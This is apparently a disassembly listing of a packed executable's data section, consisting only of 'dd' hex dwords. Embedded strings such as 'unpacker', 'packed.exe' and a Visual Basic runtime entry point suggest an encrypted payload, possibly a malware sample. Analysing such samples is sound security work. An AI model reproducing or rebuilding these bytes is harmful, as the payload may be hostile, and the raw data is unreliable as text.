		dd 0FF006A41h, 1031C995h, 0EBC08B06h, 0BAEC1D18h, 0EE40E43Eh
		dd 9D5532B6h, 0BCEFD641h, 0FDFF5323h, 0DFEF0F59h, 14E835h
		dd 40900000h, 5BB2FEDAh, 8B4AAFE3h, 48819CA9h, 6CD383A9h
		dd 0BD8BBB46h, 6101D11h, 0C38B6659h, 6221C181h,	0B8660000h
		dd 0D233B92Eh, 4ADBD89h, 348B0610h, 0AE911h, 51EE0000h
		dd 0F2645A7Fh, 0CEEDE3E1h, 0C961EE81h, 81F511ABh, 0D09E22F6h
		dd 0DFB70F0Eh, 0B3ECF681h, 81563B27h, 502B81F7h, 0E9565B63h
		dd 6, 2ECB2266h, 48FEA81h, 0BF0F6011h, 8FCFBFC9h, 8B613260h
		dd 101E459Dh, 4EA8306h,	2205BD8Bh, 0FA810610h, 0FFFF9EA0h
		dd 16850Fh, 0CF800000h,	29E9DCh, 0BD670000h, 6B90E018h
		dd 53FC66A3h, 0B003F86h, 0E9C38B66h, 0FFFFFF7Eh, 1FA8FA26h
		dd 38E1194Eh, 18EE0A00h, 5339253Bh, 0E9DCB42Dh,	29h, 5E96A1Ch
		dd 9 dup(0)
		dd 5A5E900h, 4BFB0000h,	1FC55408h, 40E574E8h, 1FC45307h
		dd 3DEF66E2h, 205C4AFEh, 0BBFFEB2h, 2498D98Ch, 2B6F195h
		dd 2397CC73h, 0ED555428h, 96BDA20h, 793220ACh, 0F0A9633Bh
		dd 7B317990h, 50442044h, 0B90900DEh, 5D6DCCA6h,	0BD6FEC01h
		dd 0DC12E575h, 0FD00ED24h, 0DE1BD0E3h, 2E122E32h, 0F44FB7Ah
		dd 8CC97E3Dh, 7B0BB772h, 6FEB6DCCh, 762DAC5Ah, 8E365541h
		dd 0AF10AB57h, 255A1110h, 0CC76354Bh, 286DCC7Bh, 30A72F4Ch
		dd 0C8B3F7Ah, 15671B56h, 7B8240EBh, 6626DCCh, 86C76AF1h
		dd 0DA79089Ah, 0F06CA75Bh, 39F2C269h, 0D6791004h, 0C799BD99h
		dd 7B50F299h, 97926DCCh, 6DCC7B2Bh, 0C39F4FCBh,	0A253B996h
		dd 895ECA06h, 7318A39Dh, 0DD6A2136h, 626DCC2Eh,	0E627C261h
		dd 0C6336AE3h, 76h, 5FE3A6B8h, 0F06DCC3Ah, 2905FD3Ch, 0A9D77854h
		dd 0CC7C4002h, 0B3C8A46Dh, 564A7F28h, 79AE55E4h, 0D7D4A98Dh
		dd 6DCC7C69h, 777211B2h, 336B3636h, 116h, 0A9D77400h, 573E7F32h
		dd 6DCC7CEBh, 813A0F0Bh, 0E9E094CBh, 26180C43h,	95B2F193h
		dd 782C691Eh, 5EC75E45h, 309279A6h, 0D46DCC7Ch,	69627C58h
		dd 6B582707h, 8942F903h, 0A7C4A054h, 0CAFFA82Fh, 7E32780Eh
		dd 8C34533Fh, 852AA155h, 8B3D5C48h, 7E25584Ch, 4F863EE7h
		dd 17A27673h, 0E94D3972h, 0A701AC04h, 0B2C7B599h, 86587211h
		dd 0CC923F83h, 7E5BD76Dh, 58D413B5h, 1F52AE1h, 0D0AAE38Ah
		dd 782C6309h, 761FDFFCh, 7A43A63Dh, 5A336A45h, 77h, 338F7A64h
		dd 0D36DCC98h, 3C868557h, 0D86DCC98h, 32A57F5Ch, 0C3FEA47Eh
		dd 2DD4F39Fh, 566D00F4h, 93D276BFh, 0ADECA017h,	0F02DE2F9h
		dd 81205304h, 1E2A0845h, 18B6442Dh, 0FD813C43h,	6361336Ah
		dd 0AB000000h, 533F7E32h, 79538E34h, 89D2CE54h,	5E25D86h
		dd 0FFBAA619h, 35F1348h, 77BE55E6h, 382296D5h, 0E75313h
		dd 2244400Fh, 40E83D31h, 2CE1587Ch, 324ED6F3h, 84F437Ah
		dd 6DCC7CBFh, 0E99DDC90h, 44033AF2h, 39B460A1h,	3605CB6Ah
		dd 0C20BEE85h, 0A2336B35h, 0Ah,	0E877AF9Ch, 0CA2296DCh
		dd 7B3217ADh, 90374E42h, 7B30A75Bh, 8E33523Eh, 0B50EA155h
		dd 7100B21Eh, 23E6F8D2h, 6DCC7C9Fh, 55DEFB77h, 5EC377B0h
		dd 0BF6A8457h, 67FC065Ah, 4544302Ch, 66F5699Eh,	623AEDBDh
		dd 0A15571ACh, 0A6F5A1C5h, 9423891Eh, 0F1D56C53h, 89A61C0Fh
		dd 0E23E9423h, 60954E05h, 81B66DECh, 184DF695h,	37492F6Ch
		dd 2389CE74h, 2D4A2694h, 752EF78Eh, 0F6AB2E40h,	936DC9BDh
		dd 23892A98h, 794ECA94h, 40F2DBC5h, 662C1F38h, 0CDFF4346h
		dd 1B179423h, 945D2237h, 74397B84h, 15Dh, 6585618Ah, 0DBE884D6h
		dd 1A72C7E5h, 491E4217h, 15BD5C83h, 933BEA20h, 2FA4C91Ah
		dd 0F0F2C1Ah, 0AC5F7155h, 67FC779Fh, 80170B67h,	441692C7h
		dd 0DB5A8407h, 0D1EC0C6Fh, 928EC8h, 2DDCEED2h, 943C4F95h
		dd 5BD8F571h, 0DE5D6FA4h, 2CDAEF26h, 0D5C1F6ADh, 0E54CE378h
		dd 8A55093Eh, 397B0347h, 5427h,	0C15C6500h, 0D949401Ah
		dd 0FDEDCC7Ch, 0D68C4F21h, 0CC8BE79Bh, 0FFFFDC15h, 0CC7CEA58h
		dd 5AE1D3EDh, 0E8D79B4h, 22371B5Ah, 6A6DE281h, 36AC5F71h
		dd 0AC6DCC7Ch, 17A340BFh, 1532D632h, 0D4550965h, 0B5h
		dd 0DA85EFDCh, 9814C7DAh, 46739FF5h, 2F4C921Ch,	1EBD5C95h
		dd 0C3C5D4Ch, 31A867FCh, 7228457Ah, 3B300AF6h, 9F366229h
		dd 2FACC1DEh, 10874378h, 276E2257h, 94233F9Ch, 7155ECD3h
		dd 0D7017C7Ch, 3CE46EE1h, 31151105h, 0ABD3B00Ch, 1C31742Bh
		dd 0F7B3E89Fh, 0FED00BAAh, 999929E0h, 0A17D9423h, 0A1CAB4CCh
		dd 3851690Eh, 5C472427h, 9E199FFBh, 5C7B2703h, 381165A3h
		dd 2CD811B8h, 0AE172348h, 5E7D294Dh, 1FB66AABh,	0FD792D6Eh
		dd 574B8A3Eh, 0D8E47B24h, 9A3CD36Eh, 0CE3E8DB1h, 2B403420h
		dd 0CEA03BDAh, 2E8D7ADBh, 0D6A88494h, 0E3876103h, 27AFCCA8h
		dd 1EBD5CA1h, 9BDC8D4Ch, 8A6E8BE7h, 0F6D83E9Fh,	85A5A667h
		dd 1AEECE4Bh, 0D714B76Eh, 731B0002h, 5E974EB5h,	8589AEB2h
		dd 0F03DF2Eh, 0BD91CF78h, 0D5A79E16h, 3F219DB9h, 708DC47Ch
		dd 1B073CE3h, 262DB74Ch, 0BC536C98h, 2599CE75h,	671DED96h
		dd 4E04430h, 7FBC6FEAh,	31E524C8h, 6F661835h, 1937FBCh
		dd 0F6F7D372h, 569CA1C3h, 2FDD0AB9h, 0DB1328E1h, 8BF7C51h
		dd 27E057D3h, 81B50DFCh, 0DF519826h, 2681962Ch,	0CEF26E98h
		dd 395FEF2h, 0E7000000h, 80326D5Fh, 9952493Dh, 7519B064h
		dd 9E4F463Ah, 7E32A95Dh, 9034533Fh, 8126A551h, 94395044h
		dd 7830A75Bh, 52CF5541h, 0C281E289h, 4,	3304EA83h, 14312414h
		dd 24143324h, 0E689565Ch, 4C681h, 0EE830000h, 24348704h
		dd 242C895Ch, 7B668h, 24148900h, 3CE8BF57h, 0E7C10E4Eh
		dd 40CF8106h, 0C14F2963h, 0EF8102EFh, 59B13F4Eh, 5D04B850h
		dd 0D8F75A92h, 7135D0F7h, 2D09A244h, 2B545CBDh,	8958C701h
		dd 0CD685FFDh, 8900004Fh, 4832424h, 555A0424h, 0F3240481h
		dd 8F663308h, 0B8500842h, 663308F3h, 58084229h,	5A2434FFh
		dd 8B04C483h, 8953242Ch, 4C381E3h, 81000000h, 4C3h, 241C8700h
		dd 1E92E95Ch, 0B8A3FFFAh, 6166134h, 0E0FFC503h,	6D8C758Eh
		dd 22F6EAC9h, 617C39CDh, 4E350080h, 47A661D8h, 6C37D617h
		dd 499CFDE3h, 4DA3898Bh, 6A8BA40h, 497FB64Fh, 6609C204h
		dd 1FB6FAAh, 67BE2ADDh,	538819A9h, 7299A0Eh, 26DB07A4h
		dd 4FE01CB9h, 5C81A96Dh, 7F11EB8Bh, 1234A05Ah, 72D19F98h
		dd 4D413839h, 34704C08h, 54C80756h, 3E1B3A41h, 5F8D85D9h
		dd 31591135h, 7CADFD45h, 22D227CFh, 0BE8h, 2900100h, 0BF81DD52h
		dd 0DC005AA3h, 0E78166h, 9E9587Bh, 66000000h, 0C499597Fh
		dd 93AEEC11h, 7166C081h, 0ABB0000h, 6831A92Eh, 1C3Dh, 8BF78B5Ah
		dd 81F28B08h, 233BF1E9h, 8178B313h, 49CCA0F1h, 6E930h
		dd 8BFD0000h, 18A43F4Ah, 120BF181h, 0DD8A0CA3h,	48BB0889h
		dd 836376C6h, 0F5204E8h, 683h, 860F00h,	5E000000h, 0BC850F4Ah
		dd 8DFFFFFFh, 1663AD8Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 0F58D89EDh, 0E9061009h
		dd 11h,	0D3A80EE5h, 87EFA7E3h, 0C681227h, 0FCBB8AEEh, 1985C756h
		dd 0AC061023h, 0B200006Bh, 0C185C7ADh, 61022h, 0E9000000h
		dd 0Dh,	0C891E620h, 7438F5E8h, 0F82DCF41h, 58F0F09h, 66000000h
		dd 930BD381h, 2ED5B5FFh, 6A0610h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 254E8C3h, 633D326Eh
		dd 607FC63Bh, 9D895A52h, 6101651h, 0B995FF61h, 6A06102Dh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0F8D9C351h, 0BCEE215h, 10061985h,	0FF006A06h
		dd 1031C995h, 0EBC08B06h, 0D2B27F1Ch, 5F84289Bh, 0D27F99A2h
		dd 0A9B5B3E6h, 86D2DF96h, 0DF3B7A58h, 92AEDDA1h, 12E8D8h
		dd 83AC0000h, 0FE15DCA4h, 0A06BEF5Bh, 7CBE9585h, 9F0F8918h
		dd 5518D29h, 89580610h,	102D09B5h, 0E8C08106h, 0B100005Fh
		dd 17D6BE45h, 0B9600000h, 0B48959Ah, 5E8h, 3E94CB00h, 880F151Eh
		dd 0
		dd 188B615Eh, 585BD09h,	0EB810610h, 7BEE46E5h, 57C28166h
		dd 0A8F38132h, 8000DD60h, 0EB81B1C2h, 32FFC1F0h, 1889A0B5h
		dd 141D8D29h, 0E8830610h, 96F68004h, 1EE81h, 850F0000h
		dd 0FFFFFFC2h, 0DE9h, 0D42E3400h, 32BF8A0Ah, 162904E4h
		dd 65E97309h, 67000001h, 0C52849D9h, 4377E705h,	5F6D5C3Ah
		dd 61706E75h, 72656B63h, 63617000h, 2E64656Bh, 657865h
		dd 3Ah dup(0)
		dd 33000000h, 6E6E6143h, 6620746Fh, 20646E69h, 27732527h
		dd 6C50202Eh, 65736165h, 6572202Ch, 736E692Dh, 6C6C6174h
		dd 69687420h, 70612073h, 63696C70h, 6F697461h, 6854006Eh
		dd 54526E75h, 6E69614Dh, 765F5F00h, 61566162h, 74735472h
		dd 654Eh, 2 dup(0)
		dd 1BF7E9h, 68086800h, 8DE90616h, 68FFFA1Ah, 61668E4h
		dd 0FA1A83E9h, 69D168FFh, 79E90616h, 68FFFA1Ah,	6166A8Eh
		dd 0FA1A6FE9h, 6AD268FFh, 65E90616h, 68FFFA1Ah,	6166BA7h
		dd 0FA1A5BE9h, 6C0268FFh, 51E90616h, 68FFFA1Ah,	6166C50h
		dd 0FA1A47E9h, 73E468FFh, 3DE90616h, 68FFFA1Ah,	6167474h
		dd 0FA1A33E9h, 754868FFh, 29E90616h, 68FFFA1Ah,	616761Fh
		dd 0FA1A1FE9h, 768468FFh, 15E90616h, 68FFFA1Ah,	6167765h
		dd 0FA1A0BE9h, 780B68FFh, 1E90616h, 68FFFA1Ah, 61678C0h
		dd 0FA19F7E9h, 7ED868FFh, 0EDE90616h, 68FFFA19h, 6167FF5h
		dd 0FA19E3E9h, 809E68FFh, 0D9E90616h, 9EFFFA19h, 0A635A9ECh
		dd 8413C7FEh, 0B128A4DDh, 8E0DC1FEh, 291F9BDAh,	0BEFDAFDDh
		dd 99DA8B0Ah, 0B5F09625h, 94C982F9h, 604B3518h,	6BDA1AE2h
		dd 321FA502h, 39504479h, 84E15D92h, 0C5946675h,	2A2FE324h
		dd 2C038B54h, 3B1034B6h, 0F0456625h, 6FC167FCh,	3CB006BCh
		dd 36751794h, 4436E64Ah, 3CB0FD45h, 391D1994h, 0D378431Dh
		dd 96C5C196h, 943CB028h, 641047FDh, 9084C365h, 0E1EF861Dh
		dd 63263838h, 943CB0DFh, 7D1E3B37h, 5DAA03E6h, 4E8A397Ah
		dd 0B4000000h, 965EC1B7h, 0B09D87CBh, 5E6639F1h, 63E9FEC0h
		dd 0D41B96D7h, 36433244h, 0A635C421h, 0B9FCD5D4h, 3E1A67FCh
		dd 1AE93F2Ch, 16BC466Eh, 0A8164541h, 4B943CB0h,	915C9938h
		dd 71397A69h, 0E2h, 72A45E8Fh, 4BC47EBBh, 607D599Ah, 447932C4h
		dd 58973950h, 4B762DACh, 0CC7CE260h, 4A26026Dh,	5D883F56h
		dd 0CC7C14AEh, 5074F06Dh, 0CD2DDCh, 39F26DCCh, 1AD14804h
		dd 213F31E5h, 3380D86Ah, 98CF7592h, 9C9888ECh, 44971EBFh
		dd 0E185542Ah, 6176FAA6h, 3F6B9AAh, 4D015D98h, 0A3FE873h
		dd 0A03D1A16h, 1A8C219h, 9E155950h, 2D6E1FB6h, 893EFD79h
		dd 0F8DC584Ch, 72B153E6h, 0B4E7E4B6h, 0C5A6AB21h, 2A6107BEh
		dd 56DDFA76h, 0F534D8B2h, 9C412501h, 40352294h,	3039AA7Ah
		dd 2A000019h, 12894588h, 30A7235Ah, 0D8C4079h, 1AA11D5Ah
		dd 85833776h, 1A590B79h, 3576179Eh, 114C0279h, 30651E9Dh
		dd 0FCAF917Ch, 6BDA1446h, 327B419Eh, 0C8B3F7Eh,	0D0AA1E53h
		dd 7C47FBAEh, 0C39F6DCCh, 0BD5C1EA6h, 0E66D6D15h, 856121FFh
		dd 138F06Bh, 3C1514ECh,	0DA67FCD1h, 827F6C7Eh, 0DBCBD97Eh
		dd 32731695h, 1905E23Eh, 3C78F452h, 0C55C1794h,	7B31CD20h
		dd 0AAAD39h, 321F0000h,	39504479h, 0D2AC5897h, 2E8D2D99h
		dd 0E9FE995Eh, 0CCF1D842h, 93EE56Dh, 4D1DC655h,	91856196h
		dd 34469524h, 0FCE76C75h, 0BC8E8A67h, 0A35BE7A2h, 5FBB943Ch
		dd 686FD48Ah, 84875973h, 943CA33Eh, 5B7D5AD6h, 0A6E12B0h
		dd 6476F29Eh, 38F433D5h, 6BD00FC1h, 4036F6F3h, 5400E9BDh
		dd 4E000018h, 56E5599Ch, 34C377AEh, 61D8548Dh, 3EBD71AEh
		dd 998F4B8Ah, 0E4DFF6Dh, 296A1B9Ah, 458026B5h, 24591289h
		dd 0D0BBC5A8h, 6BDA1472h, 328F1592h, 0B18B3F7Eh, 564A832Ah
		dd 8D36FDDAh, 0C0458658h, 0F6999BF5h, 0A644FACFh, 50447932h
		dd 0A4679239h, 6DCC7C1Eh, 0E2567AF6h, 25CA767Dh, 1C383CE8h
		dd 34A4742h, 816A67FCh,	0C9234730h, 4002A974h, 0A49423FAh
		dd 0CBCFACC8h, 4AF4A34Fh, 0A99423FAh, 337E7B1Ah, 13397BA4h
		dd 0B9h, 31B81579h, 392739A2h, 0B794C982h, 0FC2057CCh
		dd 30F36F67h, 9D7FE987h, 0EEED0CA9h, 2DD42DDCh,	0B6B242A9h
		dd 9B7115A4h, 5FC3AFE4h, 4BB86683h, 6E1D2FACh, 78BE964Eh
		dd 19A0BAB6h, 3A1E3B74h, 0B3F49524h, 5F134EF4h,	0B66DE603h
		dd 954ECD81h, 0E423C5h,	0D94EC95Bh, 0C6CFC7AAh,	1767h
		dd 0BA6EB161h, 0DA4E853Bh, 0F16DA65Bh, 0D488C56Ah, 0E864A345h
		dd 0B0548602h, 8B3EBD71h, 63078E4Ah, 7E25B428h,	0A69A9549h
		dd 0DA155FE3h, 723AB76Bh, 5B4E7932h, 6DCC7CE7h,	7C942EDDh
		dd 0F4706DCCh, 504420FCh, 75875463h, 0FC03BDB6h, 24E75967h
		dd 9423849Eh, 62D6FA76h, 31B815C4h, 942739A2h, 0C098B5ECh
		dd 0FC2058C9h, 0FDAC7E67h, 9423A045h, 26A1C5A1h, 0AABC375h
		dd 64777E1Fh, 0F8629F8Ah, 57E2153Ah, 0AA867AB1h, 7F51CDCDh
		dd 0B3C809BCh, 0E4F7FEF3h, 42391F0Ah, 77C90B4Dh, 0F033EE4h
		dd 42DE6413h, 3A360B6Fh, 0CE754416h, 0ED962599h, 0E26F13B8h
		dd 1501D54Bh, 16AA84h, 0BF02A400h, 9DD48C0Bh, 0BAF39A21h
		dd 97D477FEh, 0B1F09423h, 81F30FFDh, 9D1C90CFh,	0A82FABECh
		dd 8413C702h, 3732A6DBh, 16FC4645h, 9B186BDAh, 5B04D711h
		dd 0E18A5126h, 0DC513FACh, 27FFB3E8h, 1666BEh, 6BAE6000h
		dd 89C068EFh, 669F46D5h, 83C063F2h, 5D9C50C7h, 6D9FEBE1h
		dd 39C07CBBh, 54E35798h, 40B773AEh, 0F3D65287h,	16A02209h
		dd 67446BDAh, 5C04D7DDh, 395C3825h, 0AE37AEFFh,	34692299h
		dd 77647340h, 8081A665h, 987D67FCh, 61481622h, 943C0CE1h
		dd 67442905h, 7D9FDF0h,	78528F34h, 3C7C3191h, 8459D594h
		dd 8F981EBAh, 67795388h, 7C309279h, 58D4943Ch, 201B8883h
		dd 22999E0Ch, 0B7EC936Fh, 6E8B67CBh, 46F5B0ACh,	7BBB68AEh
		dd 9FB12AC9h, 1C51FAC1h, 984D0C68h, 60A18A5Fh, 630CB3Dh
		dd 0F5A1DA8Fh, 54A15571h, 454416C5h, 36DC8767h,	0D7A9C39Fh
		dd 0E6895D04h, 5D79FDA9h, 23B0CDA9h, 493477Ch, 0C1C1265Bh
		dd 4FF8FB5Dh, 15914E57h, 0DB8B0000h, 0EF952498h, 0D07504B8h
		dd 0EF942397h, 0CD7FF6B2h, 0D02C1A8Eh, 0FBAFEEA2h, 0D488C97Ch
		dd 0F266A145h, 0D387BC63h, 9D25E4D8h, 796BDA17h, 4002B07Ch
		dd 0AD6DCC7Ch, 6DCC0C11h, 33FC48F6h, 9C11AD92h,	7D269233h
		dd 9CEB5752h, 0F0B9233h, 3CC68633h, 7C284C17h, 15366Bh
		dd 3B7E3000h, 1950F87Fh, 366F16A5h, 1350F382h, 2D6C2097h
		dd 1D4FBBB1h, 29B02C6Bh, 4934788h, 30A7235Eh, 0A3864277h
		dd 1050F299h, 37B46BDAh, 5E04D76Dh, 0D6F36F23h,	916B7087h
		dd 0FC7D559Ah, 0C875F167h, 4A07230Ah, 0E827B064h, 0E2000014h
		dd 0EA71ED30h, 0C84F0B42h, 0E574E821h, 0D2490542h, 7D6BDF1Eh
		dd 0F231D301h, 0CD0EBF36h, 0A9E48A11h, 0C8FDA635h, 64271914h
		dd 6BDA10DEh, 0D7F3B936h, 6E225F04h, 0A55ED5F2h, 5E058470h
		dd 6D4E7D29h, 0BF65F4D6h, 7C2B9792h, 4FCB6DCCh,	50A15673h
		dd 30336B2Ah, 47h, 7C44029Ah, 32D96DCCh, 0B358E3FDh, 3A9D8A76h
		dd 5C2725ACh, 76401D39h, 0B3FDF4CFh, 853DEC6Dh,	9A92688Ah
		dd 0CBC2BAF3h, 4C28DC17h, 0E6584C28h, 8AB111F8h, 0D9559268h
		dd 14514504h, 0F06B0000h, 85C26539h, 32C08C61h,	93D83B79h
		dd 155B87h, 0FCE11D83h,	163A8026h, 95D27544h, 0D772D0BBh
		dd 96926DCCh, 0E9F0C5C1h, 9B27E2FCh, 7B6DCCD7h,	0D74AF89Fh
		dd 3CE36DCCh, 67171B07h, 883AF10Bh, 6C6DCCD7h, 0FFAD4F0h
		dd 67FC80B6h, 0B58D450h, 2EDDEFECh, 9E0C63E5h, 0C2ABC5A1h
		dd 8A438814h, 1BE5D29Dh, 81024492h, 0F6959166h,	0E3A2164Fh
		dd 9E2CD65Ah, 4C0037EDh, 0EE017CDh, 0D68939F0h,	0F16D9E2Ch
		dd 0F5AB2ADCh, 0E675D2BEh, 73EE64Fh, 8C458853h,	26B53F8Ah
		dd 0BD33487Dh, 247h, 1EBD5C0Fh,	0CB77324Ch, 2B6DCC7Ch
		dd 43461A2Fh, 67FC0B4Ah, 3D6A884h, 0F67A265Dh, 0FEA625E1h
		dd 0DC8413C7h, 0BC7FF1A5h, 0F6ADCA07h, 9423FD48h, 47832201h
		dd 5A0B0106h, 203D0E23h, 2B6ED93h, 0B4EBA118h, 3FE564C0h
		dd 8392F308h, 0B4458658h, 16819F57h, 33F60ADFh,	9E135332h
		dd 25A450CCh, 0AF2A4483h, 34AABFFCh, 0D0C403A5h, 13333B89h
		dd 0C867389Eh, 0D488C769h, 5973686Fh, 10B25987h, 0F49E1333h
		dd 333B8782h, 7FDB9E13h, 549D8663h, 0F2942356h,	540B8A76h
		dd 0F49CDC84h, 59705FCEh, 3CF0D4F0h, 25D106BDh,	305CC76h
		dd 70AF6180h, 1F5F0584h, 5BEE5869h, 3DE90D6Bh, 0A3822182h
		dd 52CEC201h, 0AD44DB6Eh, 32A6DB84h, 0DAC6FDA3h, 22CE05BBh
		dd 0A4481365h, 98B5B165h, 1FC56C03h, 68A974E8h,	48459B41h
		dd 0BDh, 6A96D7C2h, 6608F180h, 8BC7754h, 4E0909C0h, 0EC080458h
		dd 0B0EFA138h, 5DF487C4h, 3DF130D4h, 6B0C2F82h,	930F33h
		dd 327D0000h, 39504479h, 3ADE5492h, 89A7DF79h, 22C8936Dh
		dd 80373BE7h, 9C988CCDh, 23C8BFBFh, 835F944Bh, 7955F88Fh
		dd 8AE69AD5h, 9928BA66h, 8221D6FAh, 548942E3h, 923306D8h
		dd 827A6C51h, 0FF945DE5h, 53DC35EAh, 46BC336Ah,	0C2000000h
		dd 2B6C1D9Ch, 0CCB2C67Ch, 25421E6Dh, 1EBD5C9Fh,	19945D4Ch
		dd 363267FCh, 4B0EF04Ah, 0C9AD599Ah, 239F60E2h,	0C0474F94h
		dd 0BFE5A90Ch, 0D415B8CFh, 9630DBF0h, 75942333h, 6F42A73Eh
		dd 4F397BDAh, 9Fh, 1EBD5CBDh, 266C5D4Ch, 9E7A67FCh, 0F62DD3F2h
		dd 0D60DB342h, 0BEF5AB2Ah, 18A375D2h, 0FB474271h, 1B9423AAh
		dd 7546233Fh, 0B2CFFCDEh, 2737A934h, 0E99F1C31h, 3A24F6B2h
		dd 230EF34Fh, 42171394h, 7BC3743Dh, 465439h, 5CB60000h
		dd 1F411BC0h, 0CF8F882Eh, 0C196A5C6h, 0CC9258CAh, 0CEA07CEDh
		dd 72B6E99Dh, 98B55BABh, 1FC594E6h, 0AE1813E8h,	8CEDCCEAh
		dd 0F5015EF5h, 8D1514E6h, 296DCCEAh, 0EAEE5457h, 2A066DCCh
		dd 10119246h, 6B000000h, 675396D7h, 77B4F10Ch, 53E762h
		dd 0D7550000h, 6661ED96h, 2F4C711Ch, 0BCEFDA4h,	0B671B58h
		dd 0CC8FA61Ch, 0FEE23E6Dh, 96CD7312h, 1BED9322h, 0A2DB9266h
		dd 724E72EEh, 79997358h, 0A121C5C6h, 0CC1858EAh, 8460BC6Dh
		dd 0B14AB767h, 0A813422Eh, 496DCC18h, 935E9B3Ah, 73336AD1h
		dd 0BDDh, 1CC35CD9h, 1ED51668h,	0A856398Ch, 7F4E3512h
		dd 8E9B63C2h, 529B5EF5h, 0C2BD156Ch, 0CA55ED9Ch, 0B5B11B99h
		dd 3A3098h, 5C9A0000h, 9421CC3h, 0DA2EAC2Dh, 8B6D8A39h
		dd 0CCE722A0h, 0CBBEA06Dh, 6DCCE777h, 0C4B6938Fh, 1DC39668h
		dd 21363AE6h, 0D2723665h, 6211BB58h, 68CB26C3h,	8CABDCDEh
		dd 21000002h, 8E1CC35Ch, 7932BA12h, 522E7644h, 0F6AAE187h
		dd 0D7C75D7Ah, 7C4002A9h, 0C8A46DCCh, 2231ECB3h, 3C11366Bh
		dd 2F000000h, 7C23F3ACh, 0FBD75B47h, 0C35C46DEh, 93E4A13h
		dd 587CB9E0h, 0D310B386h, 9E26431Fh, 7C6BD4D7h,	0C836DCCh
		dd 0A3E08353h, 734F73EFh, 32F5D7A5h, 4274427Bh,	30408Ah
		dd 5C8C0000h, 0D78E1CC3h, 0CC7C6BD4h, 0E7B5A16Dh, 3EF96D7h
		dd 0D74B8968h, 324CDE02h, 0C506A77Bh, 4D71BA1h,	0C081761h
		dd 9B82CD4Fh, 9267CBB7h, 450233D9h, 0DA06A1EAh,	0FBE5F736h
		dd 0B886A7D2h, 1302A166h, 0B55EB0AFh, 0B0DC6625h, 3C38B55Eh
		dd 4B13E844h, 647EA71h,	8CC16AF1h, 438226ADh, 8A291864h
		dd 4BFF4ABh, 560CDC83h,	0B870671Bh, 0AA816581h,	0DA67714h
		dd 0C3F8AF76h, 0ABE08700h, 29640AD1h, 0BC706754h, 9A254687h
		dd 0BEABE69Ch, 0E9FE905Eh, 5E6F8542h, 260561B5h, 69C8675Ah
		dd 0F6CA8DC2h, 94E2CBF5h, 0E502CA5Eh, 877BBA6Eh, 62E0CBB5h
		dd 82B55E97h, 6DD5D4A6h, 89B55E97h, 0AAE6D0ADh,	89A847D6h
		dd 0A534A8E7h, 0E9F2C9FEh, 97803D47h, 7D3CB55Eh, 0C9B98EC9h
		dd 84FACE6Dh, 62F4FD47h, 4E2BAF31h, 984FD66Dh, 0C067E063h
		dd 7E06AC8Bh, 0CA6B0AB9h, 0D912EC21h, 4EEEB46Dh, 7E390E6Dh
		dd 229CA9A2h, 4914FBFh,	4C59CEFEh, 1F3C18AFh, 0DFB6EB94h
		dd 0DBF534D8h, 4B70A960h, 22B50EA6h, 8A3146D4h,	85AC43FEh
		dd 522EA9DEh, 8BC57D2Ch, 0B45AB55Eh, 0F9A98D79h, 0F2507Dh
		dd 9128CF65h, 7932F0BCh, 6E127644h, 50CB077Dh, 51C99996h
		dd 7A11021Dh, 5655274Bh, 6DCC9FECh, 754F2C08h, 8D1BC05Ch
		dd 393296D7h, 9651CA29h, 0D766F6C1h, 70245D04h,	569135F4h
		dd 22437E81h, 28B3366Bh, 0BE324782h, 49h, 80C05C0Ch, 0E5B38FCAh
		dd 580B96D7h, 9023CC54h, 92BBA5BBh, 75AEDDADh, 0B770E7DEh
		dd 1BE6582h, 0DD6DCC7Dh, 0F5D7BB81h, 75437A32h,	0CA7B3E42h
		dd 0D7D87489h, 9A34C196h, 0FFECA174h, 50B8D5A3h, 72EF0C4Dh
		dd 42h,	25C05CCAh, 0C6B5F096h, 6DCC7C7Ch, 0F2B89C98h, 235E04D7h
		dd 2D6F36Fh, 0CC7CBE07h, 0ECFE766Dh, 937FB86Dh,	0D7F2BA8Fh
		dd 5E04D7F5h, 0D6F36F23h, 5E70A75Dh, 68AC616Dh,	0B25D8ABFh
		dd 0BA1B65Ch, 96D78A42h, 0A3406817h, 0FFACC12Ah, 6DCCBB38h
		dd 0FD13359Eh, 287FFFFh, 6DCC7C44h, 69E5FA03h, 0BDF93BF2h
		dd 0F7429E6Dh, 0D8523E22h, 24BF0306h, 0DB576DCCh, 24BD05FEh
		dd 0DC926DCCh, 30D6F5A1h, 24B60CFFh, 0D24E6DCCh, 0E18302EEh
		dd 0D772EEA2h, 7E2DA948h, 6DCC24C4h, 0B6204420h, 8BD64FBh
		dd 24DC5BCFh, 81471EDh,	71559438h, 9735D685h, 620A23B6h
		dd 0AC60772Bh, 9D06B96Dh, 77C9BA06h, 0EA043DE4h, 6679833Fh
		dd 0F20763D0h, 7637B251h, 5675C124h, 221h, 7C4502B4h, 0BC7F6DCCh
		dd 0F9B0CA07h, 6DCC7C49h, 499CB1ADh, 6C1F31AAh,	67FC1847h
		dd 75BFB09Dh, 0E6508294h, 99151111h, 3E326B22h,	0B66AA147h
		dd 0F197691Fh, 122E6D1Fh, 32DE025Eh, 0CBA536BDh, 13694BE0h
		dd 5AFF5B9Eh, 4037B986h, 548B1C08h, 4E00000Dh, 56E5599Ch
		dd 34C377AEh, 61D8548Dh, 3EBD71AEh, 998F4B8Ah, 0E4DFF6Dh
		dd 296A1B9Ah, 458026B5h, 24591289h, 0D0BBC5A8h,	6BDA0F72h
		dd 0D78F1592h, 48255C04h, 0F39FD48Bh, 5CDBF7FEh, 906BFBD8h
		dd 5B923AF1h, 0D5A7CBA7h, 0F6139BD6h, 25373367h, 2B6EF96h
		dd 54FACE73h, 0F7096D19h, 26F08E34h, 0E60A6694h, 689F4514h
		dd 4BF49393h, 6F1A4416h, 9426F0D3h, 64223733h, 7953888Fh
		dd 1685B192h, 74D9559Eh, 4032A34Ah, 0C4A730E4h,	0BE00000Ch
		dd 8615C90Ch, 0A433A7DEh, 9108C4FDh, 0AE2DA1DEh, 9FFBBFAh
		dd 9EDD8FFDh, 0B9FAAB2Ah, 95D07605h, 0B4E9A219h, 802B15F8h
		dd 6BDA08C2h, 32FFC522h, 0AF2A4479h, 467F26FAh,	0A95F762Ah
		dd 0BEA27E72h, 0B883FDA9h, 482CD811h, 0FD43D233h, 1651146h
